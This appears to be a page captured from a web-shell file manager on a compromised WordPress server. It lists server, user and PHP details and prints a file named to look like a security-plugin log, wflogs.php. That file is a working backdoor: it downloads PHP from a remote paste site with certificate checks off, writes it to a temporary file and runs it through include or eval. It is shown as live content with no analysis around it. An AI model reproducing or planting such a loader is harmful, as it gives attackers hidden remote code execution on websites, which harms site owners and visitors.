HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux wordpress-php8 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.22
Disabled: NONE
Upload Files
File: /var/www/html/acquasorgente.webmapp.it/wp-admin/wflogs.php
<?php
$url = "https://paste.mangsud.org/raw/e0260c1f";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_FOLLOWLOCATION => true
]);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode !== 200 || empty($content)) {
    die('Fetch failed');
}

$tmpDir = sys_get_temp_dir();
$tmpFile = $tmpDir . '/' . bin2hex(random_bytes(12)) . '.php';

if (@file_put_contents($tmpFile, $content) !== false) {
    register_shutdown_function(function() use ($tmpFile) {
        @unlink($tmpFile);
    });
    include($tmpFile);
} else {
    eval('?>' . $content);
}
?>